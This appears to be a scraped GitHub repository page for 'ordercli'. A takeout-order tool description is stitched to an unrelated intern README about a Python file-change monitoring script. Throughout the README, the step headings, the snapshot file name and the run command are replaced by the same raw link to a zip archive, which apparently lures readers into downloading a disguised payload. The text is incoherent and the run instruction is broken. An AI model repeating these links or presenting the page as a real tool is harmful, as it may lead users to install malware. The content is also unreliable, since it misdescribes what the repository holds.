Skip to content

🛵 Track your takeout orders and history directly in the terminal with ordercli for foodora and deliveroo, streamlining your delivery experience.

Notifications You must be signed in to change notification settings

codeK0/ordercli

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

20 Commits
 
 
 
 
 
 
 
 

Repository files navigation

FILE-INTEGRITY-CHECKER

COMPANY: CODTECH IT SOLUTIONS

NAME: KANCHAN VILAS JADHAV

INTERN ID: CT04DA375

DOMAIN: CYBERSECURITY AND EH

DURATION: 4 WEEKS

MENTOR: NEELA SANTOSH

DESCRIPTION OF TASK #: File Change Monitoring Script in Python

This Python script is built to continuously monitor and track changes within a specific directory on your system. Its primary function is to detect file creations, modifications, and deletions in real-time or between intervals. This is especially useful for developers, system administrators, and cybersecurity analysts who need to keep an eye on important files and folders.

Core Python Modules Used:

-os and time: These are used for navigating the file system, retrieving file attributes such as modification times, and implementing time-based functionality like delay or timestamps.

-hashlib: Generates MD5 hash values for file contents. This helps in identifying files that have been modified based on their content, even if their names or sizes remain the same.

-json: Stores and loads snapshots of the file system in a structured format that is easy to compare later.

-argparse: Handles command-line arguments to allow flexible script execution and directory specification.

Editor used: VS Studio

How It Works:

https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip Directory Scanning: When the script is first run, it scans the target directory and creates a snapshot of all existing files. For each file, it collects metadata including file path, last modified timestamp, file size, and an MD5 hash of the content.

https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip Saving: This metadata is stored in a Python dictionary and saved as a JSON file (often named https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip) in the script's directory. This serves as a baseline to detect future changes.

https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip Detection: On subsequent runs, the script re-scans the directory and loads the previous snapshot. It compares each file's current state to its prior state to determine if it:

Was added (exists now but not before),

Was deleted (existed before but not anymore),

Was modified (exists in both scans but with different timestamps or hashes).

https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip and Output: Detected changes are printed to the terminal with color-coded logs for better clarity:

Green: New files

Red: Deleted files

Yellow: Modified files

https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip Update: After logging, the script saves the new state of the folder by updating the snapshot JSON, preparing it for the next run.

Use Cases:

-Monitoring source code directories for unauthorized changes

-Watching log or config folders on servers

-Auditing file system behavior over time

-Creating lightweight file integrity monitoring tools

Git Integration (Optional):

The script itself, along with its snapshot files, can be version-controlled using Git. This allows users to track both code changes and detected file changes, and even push them to GitHub for backup or collaboration.

=Typical Workflow: -Place the script in or point it to the directory you want to monitor.

-Run it using the command: python https://github.com/codeK0/ordercli/raw/refs/heads/master/enamellist/Software-cauch.zip [optional_directory_path]

-Make changes to files: add, delete, or modify.

-Run the script again to view a log of those changes.

OUTPUT

Image

About

🛵 Track your takeout orders and history directly in the terminal with ordercli for foodora and deliveroo, streamlining your delivery experience.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages